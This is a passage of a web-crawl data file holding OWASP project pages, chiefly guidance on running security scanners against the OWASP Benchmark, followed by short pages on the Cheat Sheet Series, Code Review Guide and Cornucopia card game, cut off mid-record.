Management](https://www.datadoghq.com/product/application-vulnerability-management/) - .log results file\n- [Synopsys Seeker IAST](https://www.synopsys.com/software-integrity/security-testing/interactive-application-security-testing.html) - .csv results file\n\n**Commercial Hybrid Analysis Application Security Testing Tools:**\n\n- [Fusion Lite Insight](https://www.iappsecure.com/products.html) - .xml results file\n\n**WARNING: If you generate results for a commercial tool, be careful who you distribute it to. Each tool has its own license defining when any results it produces can be released/made public. It may be against the terms of a commercial tool’s license to publicly release that tool’s score against an OWASP Benchmark. The OWASP Benchmark project takes no responsibility if someone else releases such results.**\n\n---\n\nPeople frequently have difficulty scanning the OWASP Benchmark with various tools due to many reasons, including size of the Benchmark app and its codebase, and complexity of the tools used. Here is some guidance for some of the tools we have used to scan the Benchmark. If you’ve learned any tricks on how to get better or easier results for a particular tool against the Benchmark, let us know or update this page directly.\n\n## Generic Tips\n\nBecause of the size of the OWASP Benchmark, you may need to give your tool more memory before it starts the scan. If its a Java based tool, you may want to pass more memory to it like this:\n\n```\n -Xmx4G (This gives the Java application 4 Gig of memory)\n```\n\n## SAST Tools\n\n**Checkmarx**\n\nThe Checkmarx SAST Tool (CxSAST) is ready to scan the OWASP Benchmark out-of-the-box. Please notice that the OWASP Benchmark “hides” some vulnerabilities in dead code areas, for example:\n\n```\n if (0>1)\n {\n //vulnerable code\n }\n```\n\nBy default, CxSAST will find these vulnerabilities since Checkmarx believes that including dead code in the scan results is a SAST best practice.\n\nCheckmarx’s experience shows that security experts expect to find these types of code vulnerabilities, and demand that their developers fix them. However, OWASP Benchmark considers the flagging of these vulnerabilities as False Positives, as a result lowering Checkmarx’s overall score.\n\nTherefore, in order to receive an OWASP score untainted by dead code, re-configure CxSAST as follows:\n\n1. Open the CxAudit client for editing Java queries.\n2. Override the “Find_Dead_Code” query.\n3. Add the commented text of the original query to the new override query.\n4. Save the queries.\n\n**CodeQL**\n\nTo use the CodeQL command line interface (CLI) on Benchmark, first install CodeQL and its rules databases per: https://codeql.github.com/docs/codeql-cli/using-the-codeql-cli/ (i.e., codeql and the codeql-repo).\n\nOnce this is done, do the following:\n\n- Navigate to the OWASP Benchmark project directory\n- ~/PATHTO/codeql/codeql database create owasp-benchmark –languages java\n- ~/PATHTO/codeql/codeql database analyze owasp-benchmark java-security-and-quality.qls –format=sarifv2.1.0 –output=results/Benchmark-CodeQL.sarif\n\nYou can also try different CodeQL query suites other than: java-code-scanning.qls. To get a list, run: ~/PATHTO/codeql/codeql database analyze owasp-benchmark –format=sarifv2.1.0 –output=results/Benchmark-CodeQL.sarif. When you do, a usage message will be displayed. Something like: “No queries were specified … one of these query suites might be what you want?” And then a list is displayed. 5 different query suites starting with ‘java-‘ were listed when we ran it. We determined that only 2 query suites include their Weak Random rule (java-security-and-quality.qls and java-lgtm-full.qls).\n\n**Kiuwan Code Security**\n\nKiuwan Code Security wrote their own instructions for scanning the OWASP Benchmark. Refer to their [step-by-step guide](https://www.kiuwan.com/owasp-benchmark-diy/) on the Kiuwan website.\n\n**Micro Focus (Formerly HP) Fortify**\n\nIf you are using the Audit Workbench, you can give it more memory and make sure you invoke it in 64-bit mode by doing this:\n\n```\n set AWB_VM_OPTS=\"-Xmx2G -XX:MaxPermSize=256m\"\n export AWB_VM_OPTS=\"-Xmx2G -XX:MaxPermSize=256m\"\n auditworkbench -64\n```\n\nWe found it was easier to use the Maven support in Fortify to scan the Benchmark and to do it in 2 phases, translate, and then scan. We did something like this:\n\n```\n Translate Phase:\n export JAVA_HOME=$(/usr/libexec/java_home)\n export PATH=$PATH:/Applications/HP_Fortify/HP_Fortify_SCA_and_Apps_17.10/bin\n export SCA_VM_OPTS=\"-Xmx2G -version 1.7\"\n mvn sca:clean\n mvn sca:translate\n\n Scan Phase:\n export JAVA_HOME=$(/usr/libexec/java_home)\n export PATH=$PATH:/Applications/HP_Fortify/HP_Fortify_SCA_and_Apps_4.10/bin\n export SCA_VM_OPTS=\"-Xmx10G -version 1.7\"\n mvn sca:scan\n```\n\n**PMD**\n\nWe include this free tool with the Benchmark for Java and its all dialed in. Simply run the script: ./script/runPMD.(sh or bat). If you want to run a different version of PMD, just change its version number in the Benchmark pom.xml file. (NOTE: PMD doesn’t find any security issues. We include it because its interesting to know that it doesn’t.)\n\n**SpotBugs**\n\nWe include this free tool with the Benchmark for Java and its all dialed in. Simply run the script: ./script/runSpotBugs.(sh or bat). If you want to run a different version of SpotBugs, just change its version number in the Benchmark pom.xml file.\n\n**SpotBugs with FindSecBugs**\n\n[FindSecurityBugs](https://find-sec-bugs.github.io/) is a great plugin for SpotBugs that significantly increases the ability for SpotBugs to find security issues. We include this free tool with the Benchmark and its all dialed in. Simply run the script: ./script/runFindSecBugs.(sh or bat). If you want to run a different version of FindSecBugs, just change the version number of the findsecbugs-plugin artifact in the Benchmark pom.xml file.\n\n## DAST Tools\n\n**Burp Pro**\n\nTo scan, first crawl the entire Benchmark. To do a crawl, right click on Benchmark in the Site Map, select Scan–>Open scan launcher. Then click on Crawl and hit OK. Then save the project in case of a crash during the scan. Then select the /Benchmark URL and invoke: ‘Actively scan this branch’. Prior to all this, you might want to give Burp more RAM before you start it (e.g., launch it like so: java -Xmx2G -jar burpsuite_pro.jar).\n\n**ZAP**\n\nZAP may require additional memory to be able to scan the Benchmark. To configure the amount of memory:\n\n- Tools –> Options –> JVM: Recommend setting to: -Xmx2048m (or larger). (Then restart ZAP).\n\nTo run ZAP against Benchmark:\n\n1. Because Benchmark uses Cookies and Headers as sources of attack for many test cases: Tools –> Options –> Active Scan Input Vectors: Then check the HTTP Headers, All Requests, and Cookie Data checkboxes and hit OK\n2. Click on Show All Tabs button (if spider tab isn’t visible)\n3. Go to Spider tab (the black spider) and click on New Scan button\n4. Enter: https://localhost:8443/benchmark/ into the ‘Starting Point’ box and hit ‘Start Scan’\n - Do this again. For some reason it takes 2 passes with the Spider before it stops finding more Benchmark endpoints.\n5. When Spider completes, click on ‘benchmark’ folder in Site Map, right click and select: ‘Attack –> Active Scan’\n - It will take several hours, like 3+ to complete (it’s actually likely to simply freeze before completing the scan - see NOTE: below)\n\nFor faster active scan you can:\n\n- Disable the ZAP DB log (in ZAP 2.5.0+):\n - Disable it via Options / Database / Recover Log\n - Set it on the command line using “-config database.recoverylog=false”\n- Disable unnecessary plugins / Technologies: When you launch the Active Scan\n - On the Policy tab, disable all plugins except: XSS (Reflected), Path Traversal, SQLi, OS Command Injection\n - Go the Technology Tab, disable everything and only enable: MySQL, YOUR_OS, Tomcat\n - Note: This 2nd performance improvement step is a bit like cheating as you wouldn’t do this for a normal site scan. You’d want to leave all this on in case these other plugins/technologies are helpful in finding more issues. So a fair performance comparison of ZAP to other tools would leave all this on.\n\nTo generate the ZAP XML results file so you can generate its scorecard:\n\n- Tools > Options > Alerts - And set the Max alert instances to like 500.\n- Then: Report > Generate XML Report…\nNOTE: Similar to Burp, we can’t simply run ZAP against the entire Benchmark in one shot. In our experience, it eventually freezes/stops scanning. We’ve had to run it against each test area one at a time. If you figure out how to get ZAP to scan all of Benchmark in one shot, let us know how you did it!\n\nThings we tried that didn’t improve the score:\n\n- AJAX Spider - the traditional spider appears to find all (or 99%) of the test cases so the AJAX Spider does not appear to be needed against Benchmark v1.2\n- XSS (Persistent) - There are 3 of these plugins that run by default. There aren’t any stored XSS in Benchmark, so you can disable these plugins for a faster scan.\n- DOM XSS Plugin - This is an optional plugin that didn’t seem to find any additional XSS issues. There aren’t an DOM specific XSS issues in Benchmark v1.2, so not surprising.\n\n## IAST Tools\n\nInteractive Application Security Testing (IAST) tools work differently than scanners. IAST tools monitor an application as it runs to identify application vulnerabilities using context from inside the running application. Typically these tools run continuously, immediately notifying users of vulnerabilities, but you can also get a full report of an entire application. To do this, we simply run the Benchmark application with an IAST agent and use a crawler to hit all the pages.\n\n**Contrast Assess**\n\nTo use Contrast Assess, we simply add the Java agent to the Benchmark environment and run the BenchmarkCrawler. The entire process should only take a few minutes. We provided a few scripts, which simply add the -javaagent:contrast.jar flag to the Benchmark launch configuration. We have tested on MacOS, Ubuntu, and Windows. Be sure your machine or VM has at least 4M of memory.\n\n- Ensure your environment has Java, Maven, and git installed, then build the Benchmark project `$ git clone https://github.com/OWASP-Benchmark/BenchmarkJava.git\n $ cd Benchmark\n $ mvn compile`\n- Download a copy of the Contrast Java Agent configuration file (contrast.yaml) from your Contrast TeamServer account and put it in the tools/Contrast directory. `$ mv ~/Downloads/contrast.yaml tools/Contrast`\n- In Terminal 1, launch the Benchmark application and wait until it starts `$ cd tools/Contrast \n $ ./runBenchmark_wContrast.sh (.bat on Windows)\n [INFO] Scanning for projects...\n [INFO] \n [INFO] ------------------------------------------------------------------------\n [INFO] Building OWASP Benchmark Project 1.2\n [INFO] ------------------------------------------------------------------------\n [INFO] \n ...\n [INFO]_[talledLocalContainer] Tomcat 8.x started on port [8443]\n [INFO] Press Ctrl-C to stop the container...`\n- In Terminal 2, launch the crawler and wait a minute or two for the crawl to complete. `$ ./runCrawler.sh (.bat on Windows)`\n- A Contrast report has been generated in ./tools/Contrast/working/contrast.log. This report will be automatically copied (and renamed with version number) to ./results directory. `$ more tools/Contrast/working/contrast.log\n 2016-04-22 12:29:29,716 [main b] INFO - Contrast Runtime Engine\n 2016-04-22 12:29:29,717 [main b] INFO - Copyright (C) 2019\n 2016-04-22 12:29:29,717 [main b] INFO - Pat. 8,458,789 B2\n 2016-04-22 12:29:29,717 [main b] INFO - Contrast Security, Inc.\n 2016-04-22 12:29:29,717 [main b] INFO - All Rights Reserved\n 2016-04-22 12:29:29,717 [main b] INFO - https://www.contrastsecurity.com/\n ...`\n- Press Ctrl-C to stop the Benchmark in Terminal 1. Note: on Windows, select “N” when asked Terminate batch job (Y/N)) `[INFO]_[talledLocalContainer] Tomcat 8.x is stopped\n Copying Contrast report to results directory`\n- In Terminal 2, generate scorecards in ./scorecard `$ ./createScorecards.sh (.bat on Windows)\n Analyzing results from Benchmark_1.2-Contrast.log\n Actual results file generated: /Users/owasp/Projects/BenchmarkJava/scorecard/Benchmark_v1.2_Scorecard_for_Contrast.csv\n Report written to: /Users/owasp/Projects/BenchmarkJava/scorecard/Benchmark_v1.2_Scorecard_for_Contrast.html`\n- Open the Benchmark Scorecard in your browser `/Users/owasp/Projects/BenchmarkJava/scorecard/Benchmark_v1.2_Scorecard_for_Contrast.html`\n\n---\n\n[Watch](https://github.com/owasp/www-project-benchmark/subscription) [Star](https://github.com/owasp/www-project-benchmark)", "znaku_textu": 46268, "slov": 6747, "odkazu": 108, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:46", "sha256": "3b0df5c22a5768c85c0709f9dcc2946a52519010b9b6f8262742101ab2d9839e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/projects", "https://samate.nist.gov/SARD/testsuite.php", "https://sectooladdict.blogspot.com/", "http://en.wikipedia.org/wiki/Receiver_operating_characteristic", "https://en.wikipedia.org/wiki/Youden's_J_statistic", "https://en.wikipedia.org/wiki/Precision_and_recall", "https://bandit.readthedocs.io/en/latest/", "https://github.com/Bearer/bearer", "https://codeql.github.com/", "https://www.contrastsecurity.com/try-contrast-security", "http://findbugs.sourceforge.net/", "https://github.com/ZupIT/horusec", "https://github.com/insidersec/insider", "https://pmd.github.io/", "https://github.com/securesauce/precli", "https://semgrep.dev/", "https://github.com/ShiftLeftSecurity/sast-scan", "https://snyk.io/platform/snyk-cli/", "https://www.sonarqube.org/downloads/", "https://spotbugs.github.io/", "https://find-sec-bugs.github.io/", "https://sourceforge.net/projects/visualcodegrepp/", "https://github.com/nccgroup/VCG", "https://checkstyle.sourceforge.io/", "http://fb-contrib.sourceforge.net/", "https://errorprone.info/", "https://errorprone.info/bugpattern/InsecureCryptoUsage", "https://doc.castsoftware.com/display/IMAGING/CAST+Imaging", "https://checkmarx.com/cxsast-source-code-scanning/", "https://www.contrastsecurity.com/contrast-scan", "https://www.hcltechsw.com/appscan/offerings/source", "https://juliasoft.com/", "https://www.kiuwan.com/code-security-sast/", "https://www.mend.io/sast/", "https://www.opentext.com/products/static-application-security-testing", "https://www.parasoft.com/products/parasoft-jtest/", "https://semmle.com/lgtm", "https://qwiet.ai/sast/", "https://snappycodeaudit.com/category/static-code-analysis-tools", "https://www.sonarsource.com/products/sonarqube/downloads/", "https://www.sourcemeter.com/", "https://www.blackduck.com/static-analysis-tools-sast/coverity.html", "https://www.veracode.com/products/binary-static-analysis-sast", "https://www.arachni-scanner.com/", "https://portswigger.net/burp/communitydownload", "https://www.zaproxy.org/", "https://wapiti.sourceforge.io/", "https://www.acunetix.com/vulnerability-scanner/", "https://www.acunetix.com/resources/wvs11manual.pdf", "https://portswigger.net/burp/pro", "https://fluidattacks.com/", "https://www.hcltechsw.com/appscan/offerings/standard", "https://www.microfocus.com/en-us/products/webinspect-dynamic-analysis-dast/overview", "https://www.netsparker.com/web-vulnerability-scanner/", "https://www.qualys.com/apps/web-app-scanning/", "https://www.rapid7.com/products/appspider/", "https://www.checkmarx.com/products/interactive-application-security-testing", "https://www.contrastsecurity.com/contrast-assess", "https://www.contrastsecurity.com/contrast-community-edition", "https://www.datadoghq.com/product/application-vulnerability-management/", "https://www.synopsys.com/software-integrity/security-testing/interactive-application-security-testing.html", "https://www.iappsecure.com/products.html", "https://www.kiuwan.com/owasp-benchmark-diy/", "https://github.com/owasp/www-project-benchmark/subscription", "https://github.com/owasp/www-project-benchmark", "https://20thanniversary.owasp.org/", "https://github.com/OWASP-Benchmark/BenchmarkJava", "https://github.com/OWASP-Benchmark/BenchmarkPython", "https://github.com/OWASP-Benchmark/BenchmarkUtils", "https://github.com/OWASP-Benchmark/BenchmarkJava.git", "https://github.com/OWASP-Benchmark/BenchmarkPython.git", "https://hub.docker.com/r/owasp/benchmark", "https://github.com/OWASP-Benchmark/BenchmarkUtils.git", "https://soundcloud.com/owasp-podcast/owasp-benchmark-project-w-dave-wichers", "https://github.com/OWASP-Benchmark/BenchmarkJava/issues", "https://github.com/OWASP-Benchmark/BenchmarkPython/issues", "https://github.com/OWASP-Benchmark/BenchmarkUtils/issues", "http://choosealicense.com/licenses/gpl-3.0/", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-cheat-sheets/", "titulek": "OWASP Cheat Sheet Series | OWASP Foundation", "h1": "OWASP Cheat Sheet Series", "popis": "The OWASP Cheat Sheet Series project provides a set of concise good practice guides for application developers and defenders to follow.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-cheat-sheets/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "The OWASP Cheat Sheet Series project provides a set of concise good practice guides for application developers and defenders to follow.", "og:title": "OWASP Cheat Sheet Series | OWASP Foundation", "og:url": "https://owasp.org/www-project-cheat-sheets/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Cheat Sheet Series"}, {"uroven": 2, "text": "Our Goal"}, {"uroven": 2, "text": "Bridge between the projects OWASP Proactive Controls, OWASP ASVS, and OWASP CSS"}, {"uroven": 2, "text": "Contributors V1"}, {"uroven": 2, "text": "Contributors V2"}, {"uroven": 2, "text": "Special thanks"}], "markdown": "# OWASP Cheat Sheet Series\n\n## Our Goal\n\nThe OWASP Cheat Sheet Series was created to provide a set of simple good practice guides for application developers and defenders to follow. Rather than focused on detailed best practices that are impractical for many developers and applications, they are intended to provide good practices that the majority of developers will actually be able to implement.\n\nThe cheat sheets are available on the main website at [https://cheatsheetseries.owasp.org](https://cheatsheetseries.owasp.org).\n\nIf you wish to contribute to the cheat sheets, or to suggest any improvements or changes, then please do so via the issue tracker on the [GitHub](https://github.com/OWASP/CheatSheetSeries) repository. Alternatively, join us in the `#cheatsheets` channel on the OWASP Slack (details in the sidebar).\n\n## Bridge between the projects OWASP Proactive Controls, OWASP ASVS, and OWASP CSS\n\nA work channel has been created between OWASP Proactive Controls (OPC), OWASP Application Security Verification Standard (ASVS), and OWASP Cheat Sheet Series (OCSS) using the following process:\n\n- When a Cheat Sheet is missing for a point in OPC/ASVS, then the OCSS will handle the missing and create one. When the Cheat Sheet is ready, then the reference is added by OPC/ASVS.\n- If a Cheat Sheet exists for an OPC/ASVS point but the content do not provide the expected help then the Cheat Sheet is updated to provide the required content.\n\nThe reason of the creation of this bridge is to help OCSS and ASVS projects by providing them:\n\n- A consistent source for the requests regarding new Cheat Sheets.\n- A shared approach for updating existing Cheat Sheets.\n- A usage context for the Cheat Sheet and a quick source of feedback about the quality and the efficiency of the Cheat Sheet.\n\nIt is not mandatory that a request for a new Cheat Sheet (or for an update) comes only from OPC/ASVS, it is just an extra channel.\n\n> Requests from OPC/ASVS are flagged with a special label in the GitHub repository issues list in order to identify them and set them as a top level priority.\n\n## Contributors V1\n\n- **From 2014 to 2018:** [V1](CONTRIBUTOR-V1.md) - Initial version of the project hosted on the [OWASP WIKI](https://wiki.owasp.org) .\n\n## Contributors V2\n\n- **From 2019:** [V2](https://github.com/OWASP/CheatSheetSeries/graphs/contributors) - Hosted on [GitHub](https://github.com/OWASP/CheatSheetSeries) .\n\n## Special thanks\n\nA special thank you to the following people for their help provided during the migration:\n\n- [Dominique Righetto](https://github.com/righettod) : For his special leadership and guidance.\n- [Elie Saad](https://github.com/ThunderSon) : For valuable help in updating the OWASP Wiki links for all the migrated cheat sheets and for years of leadership and other project support.\n- [Jakub Maćkowski](https://github.com/mackowski) : For valuable help in updating the OWASP Wiki links for all the migrated cheat sheets.\n\n---\n\n[Watch](https://github.com/OWASP/CheatSheetSeries/subscription) [Star](https://github.com/OWASP/CheatSheetSeries)", "znaku_textu": 3011, "slov": 432, "odkazu": 43, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:35", "sha256": "b3bebeaac0260a30eebb45413ba9c6e5ab1667d99173ef26ae1aebea7fbf3005", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/OWASP_Project_Inventory", "https://github.com/OWASP/CheatSheetSeries/", "https://github.com/OWASP/CheatSheetSeries/tree/master/cheatsheets", "https://creativecommons.org/licenses/by-sa/4.0/", "https://cheatsheetseries.owasp.org/", "https://github.com/OWASP/CheatSheetSeries", "https://wiki.owasp.org/", "https://github.com/OWASP/CheatSheetSeries/graphs/contributors", "https://github.com/righettod", "https://github.com/ThunderSon", "https://github.com/mackowski", "https://github.com/OWASP/CheatSheetSeries/subscription", "https://cheatsheetseries.owasp.org/bundle.zip", "https://github.com/OWASP/CheatSheetSeries/blob/master/CODE_OF_CONDUCT.md", "https://github.com/OWASP/CheatSheetSeries/blob/master/CONTRIBUTING.md", "https://owasp.slack.com/messages/C073YNUQG", "https://github.com/kwwall", "https://github.com/szh", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-code-review-guide/", "titulek": "OWASP Code Review Guide | OWASP Foundation", "h1": "OWASP Code Review Guide", "popis": "OWASP Code Review Guide on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "http://owasp.org/www-project-code-review-guide/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP Code Review Guide on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:url": "https://owasp.org/www-project-code-review-guide/", "og:locale": "en_US", "og:type": "website", "og:image": "https://owasp.org/www--site-theme/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Code Review Guide"}, {"uroven": 2, "text": "Licensing"}, {"uroven": 2, "text": "Example"}], "markdown": "# OWASP Code Review Guide\n\nThe current (July 2017) PDF version can be found [here](/www-project-code-review-guide/assets/OWASP_Code_Review_Guide_v2.pdf).\n\nOWASP Code Review Guide is a technical book written for those responsible for code reviews (management, developers, security professionals). The primary focus of this book has been divided into two main sections. Section one is the “why and how of code reviews” and section two focuses on the “types of vulnerabilities and how to identify throughout the review”. While security scanners are improving every day the need for manual security code reviews still needs to have a prominent place in organizations’ SDLC (Secure Development Life Cycle) that desires good secure code in production.\n\nChapters in the second section are mostly based on the popular OWASP 2013 top 10. Here you will find most of the code examples for both on “what not to do” and on “what to do”. A word of caution on code examples; Perl is famous for its saying that there are 10,000 ways to do one thing. The same is true for C#, PHP, and Java or any other computer language. Now add in “Object-Oriented Programming” and if we are using design patterns or even what designs patterns are being used and sample code becomes very “iffy” in what to write. We tried to keep the sample code so code reviewers can see red flags and not “do it my way or else”.\n\nThe last section is the appendix. Here we have content like code reviewer check list, etc. of items that really don’t flow in book form but needed to be included to make the code review guide complete.\n\n## Licensing\n\nOWASP Code Review Guide is free to use. It is licensed under the [Creative Commons Attribution-ShareAlike 4.0 license](http://creativecommons.org/licenses/by-sa/4.0/), so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.\n\n---\n\n## Example\n\nPut whatever you like here: news, screenshots, features, supporters, or remove this file and don’t use tabs at all.\n\n---\n\n[Watch](https://github.com/owasp/www-project-code-review-guide/subscription) [Star](https://github.com/owasp/www-project-code-review-guide)", "znaku_textu": 2313, "slov": 377, "odkazu": 30, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:34", "sha256": "ce2491940eb3a0c4f491d94c2cce6440a49c67a8bb355655a763707420b54ca7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://creativecommons.org/licenses/by-sa/4.0/", "http://creativecommons.org/licenses/by-sa/4.0/", "https://github.com/owasp/www-project-code-review-guide/subscription", "https://github.com/owasp/www-project-code-review-guide", "https://github.com/OWASP/www-project-code-review-guide", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-code-review-guide/assets/OWASP_Code_Review_Guide_v2.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 2425255, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:15:42", "sha256": "fae4b215c116fb9745cde72a725921bb8c8d6fb19c4ca20981f5b10e151ca190", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/www-project-cornucopia/", "titulek": "OWASP Cornucopia | OWASP Foundation", "h1": "OWASP Cornucopia", "popis": "OWASP Cornucopia provides card game decks (printable cards, online cards, online game) to assist the whole software development team undertake threat modeling of applications (currently website apps and mobile apps)", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-cornucopia/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP Cornucopia provides card game decks (printable cards, online cards, online game) to assist the whole software development team undertake threat modeling of applications (currently website apps and mobile apps)", "og:title": "OWASP Cornucopia | OWASP Foundation", "og:url": "https://owasp.org/www-project-cornucopia/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Cornucopia"}, {"uroven": 2, "text": "Introduction"}, {"uroven": 2, "text": "About"}, {"uroven": 2, "text": "Licensing"}, {"uroven": 2, "text": "Other Security Gamification"}, {"uroven": 2, "text": "Get the Cards"}, {"uroven": 3, "text": "Printed"}, {"uroven": 3, "text": "Print your own"}, {"uroven": 3, "text": "Source files"}, {"uroven": 2, "text": "How to Play"}, {"uroven": 2, "text": "Frequently Asked Questions"}, {"uroven": 3, "text": "Can I copy or edit the game?"}, {"uroven": 3, "text": "How can I get involved?"}, {"uroven": 3, "text": "How were the attackers’ names chosen?"}, {"uroven": 3, "text": "Why aren’t there any images on the card faces?"}, {"uroven": 3, "text": "Are the attacks ranked by the number on the card?"}, {"uroven": 3, "text": "How long does it take to play a round of cards using the full deck?"}, {"uroven": 3, "text": "What sort of people should play the game?"}, {"uroven": 3, "text": "Who should take notes and record scores?"}, {"uroven": 3, "text": "Should we always use the full deck of cards?"}, {"uroven": 3, "text": "What should players do when they have an Ace card that says “invented a new X attack”?"}, {"uroven": 3, "text": "I don’t understand what the attack means on each card - is there more detailed information?"}, {"uroven": 2, "text": "Acknowledgements"}, {"uroven": 3, "text": "Volunteers"}, {"uroven": 2, "text": "Road Map"}, {"uroven": 3, "text": "v2.x"}, {"uroven": 2, "text": "Getting Involved"}, {"uroven": 3, "text": "Localization"}, {"uroven": 3, "text": "Use and Promote the Cornucopia Card Decks"}, {"uroven": 3, "text": "Feedback"}, {"uroven": 3, "text": "Keep the Cards Updated"}, {"uroven": 3, "text": "Create a New Deck"}], "markdown": "# OWASP Cornucopia\n\nOWASP Cornucopia is a mechanism in the form of a card game to assist software development teams identify security requirements in Agile, conventional and formal development processes. It is language, platform and technology-agnostic.\n\n## Introduction\n\nThe idea behind Cornucopia is to help development teams, especially those using Agile methodologies, to identify application security requirements and develop security-based user stories. Although the idea had been waiting for enough time to progress it, the final motivation came when [SAFECode](http://www.safecode.org/) published its [Practical Security Stories and Security Tasks for Agile Development Environments](https://safecode.org/publication/SAFECode_Agile_Dev_Security0712.pdf) in July 2012. Cornucopia was created and first used for developer training in August 2012. The prject has undergone significant development and growth, particularly in 2023, 2024 and 2025.\n\nTo start using OWASP Cornucopia or find out more about the game please visit [cornucopia.owasp.org](https://cornucopia.owasp.org/)\n\n## About\n\nTo find out more about what OWASP Cornucopia is all about, please read the about section on [cornucopia.owasp.org](https://cornucopia.owasp.org/about)\n\n## Licensing\n\nOWASP Cornucopia is free to use. It is licensed under the [Creative Commons Attribution-ShareAlike 3.0 license](http://creativecommons.org/licenses/by-sa/3.0/), so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar licence to this one.\n\n© OWASP Foundation\n\n## Other Security Gamification\n\nIf you are interested in using gaming for security, also see [Elevation of Privilege: The Threat Modeling Game](https://www.microsoft.com/en-gb/download/details.aspx?id=20303), [Security Cards](http://securitycards.cs.washington.edu/) from the University of Washington, the commercial card game [Control-Alt-Hack](http://www.controlalthack.com/) ([presentation](http://www.youtube.com/watch?v=Kpnvsgiiz8s)), [OWASP Snakes and Ladders](https://owasp.org/www-project-snakes-and-ladders), [OWASP Cumulus](https://owasp.org/www-project-cumulus/), and web application security training tools incorporating gamification such as [OWASP Hackademic Challenges Project](https://owasp.org/www-project-hackademic-challenges), [OWASP Security Shepherd](https://owasp.org/www-project-security-shepherd) and [ITSEC Games](http://itsecgames.blogspot.co.uk/).\n\nAdditionally, Adam Shostack maintains a list of tabletop security games and related resources at [Tabletop Security Games + Cards](https://shostack.org/games.html).\n\n---\n\n## Get the Cards\n\nThe primary source document is a [Word document](https://github.com/OWASP/cornucopia/releases/tag/v2.0.0).\n\nHowever, pre-printed card decks may be more useful, or there are links to the source design files for the cards themselves (see links underneath).\nYou can also choose to play the OWASP Cornucopia Website App Edition and Mobile App Edition online at [copi.owasp.org](https://copi.owasp.org)\n\n### Printed\n\nOWASP no longer has a stock of printed decks.\n\nOWASP does not endorse or recommend commercial products or services. However, [Agile Stationary](https://agilestationery.co.uk/) offer [large print (v2.0) web app decks](https://agilestationery.com/products/owasp-cornucopia-2-0-website-app-edition-threat-modeling-cards?_pos=2&_psq=cornucipia&_ss=e&_v=1.0) and [large print (v1.0) mobile app decks](https://agilestationery.com/products/owasp-cornucopia-mobile-app-edition-threat-modeling-cards?_pos=3&_psq=cornucip&_ss=e&_v=1.0). They also offer a [croupier](https://croupier.agilestationery.co.uk/) to help you distribute cards to team members. Also, [dotNET lab](https://www.dotnetlab.eu/) sell a [printed deck](https://webshop.dotnetlab.eu/product/cornucopia-card-deck/) which complements their [online reference](https://cornucopia.dotnetlab.eu/cards).\n\n### Print your own\n\nThere are many ways to print copies of the card decks yourself:\n\n1. Download the free Adobe Illustrator files and get them professionally printed;\n2. Print the Word document onto business card blanks;\n3. Print the Word document onto normal card and cut the cards out individually using the guide; or\n4. Generate your own cards from the free source XML data file in the repository.\n\nFor instructions on printing your own decks, please go to [cornucopia.owasp.org](https://cornucopia.owasp.org/printing)\n\n### Source files\n\nSource code to generate the Word document, PDFs and InDesign files for printing are maintained in our [Github repository](https://github.com/OWASP/cornucopia/releases)\n\n---\n\n## How to Play\n\nPlease visit [cornucopia.owasp.org](https://cornucopia.owasp.org/how-to-play)\n\n---\n\n## Frequently Asked Questions\n\n### Can I copy or edit the 